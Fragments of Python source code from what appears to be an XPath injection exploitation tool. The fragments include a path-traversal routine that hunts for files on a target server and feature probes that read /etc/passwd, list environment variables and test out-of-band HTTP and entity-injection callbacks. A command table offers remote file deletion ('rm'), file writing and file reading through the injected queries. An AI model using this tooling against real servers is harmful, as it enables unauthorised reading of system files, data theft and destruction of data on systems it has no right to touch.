async def find_file_by_name(requester: Requester, file_name): for i in range(10): path = ('../' * i) + file_name print(path) path_expression = resolve_uri(path, document_uri(E('/'))) if requester.features['doc-function']: if await requester.check(doc_available(path_expression)): print('XML file {path} available'.format(path=path)) if requester.features['unparsed-text']: if await requester.check(unparsed_text_available(path_expression)): print('Text file {path} available'.format(path=path))
Feature('normalize-space', [normalize_space(' a b ') == 'a b']), Feature('substring-search', [ string_length(substring_before(ASCII_SEARCH_SPACE, 'h')) == ASCII_SEARCH_SPACE.find('h'), string_length(substring_before(ASCII_SEARCH_SPACE, 'o')) == ASCII_SEARCH_SPACE.find('o') ]), Feature('codepoint-search', [ string_to_codepoints("test")[1] == 116, string_to_codepoints("test")[2] == 101, string_to_codepoints("test")[3] == 115, string_to_codepoints("test")[4] == 116, ]), Feature('environment-variables', [exists(available_environment_variables())]), Feature('document-uri', [document_uri(E('/'))]), Feature('current-datetime', [string(current_date_time())]), Feature('unparsed-text', [unparsed_text_available(document_uri(E('/')))]), Feature('doc-function', [doc_available(document_uri(E('/')))]), Feature('linux', [unparsed_text_available('/etc/passwd')]), Feature('expath-file', [string_length(current_dir()) > 0]), Feature('saxon', [evaluate('1+1') == 2]), Feature('oob-http', test_oob(OOBHttpServer.test_data_url)), Feature('oob-entity-injection', test_oob(OOBHttpServer.test_entity_url)) ] async def detect_features(requester: Requester) -> List[Feature]: returner = [] for feature in features:
def help_display(self): return ' '.join('"{arg}"'.format(arg=arg) for arg in self.args) COMMANDS = [ Command( 'get', ['xpath-expression'], 'Fetch a specific node by xpath expression', lambda requester, expression: display_xml( get_nodes(requester, E(expression))), None), Command('get_string', ['xpath-expression'], 'Fetch a specific string by xpath expression', lambda requester, expression: get_string(requester, E(expression)), None), Command('pwd', [], 'Get the URI of the current document', lambda requester: get_string(requester, document_uri(E('/'))), ['document-uri']), Command( 'time', [], 'Get the current date+time of the server', lambda requester: get_string(requester, string(current_date_time())), ['current-datetime']), Command( 'rm', ['path'], 'Delete a file by path', lambda requester, path: throwfailed(count(requester, delete(path))), ['expath-file']), Command( 'write-text', ['location', 'text'], 'Write text to location', lambda requester, location, text: throwfailed( requester.check(write_text(location, text))), ['expath-file']), Command( 'cat_xml', ['path'], 'Read an XML file at "location"',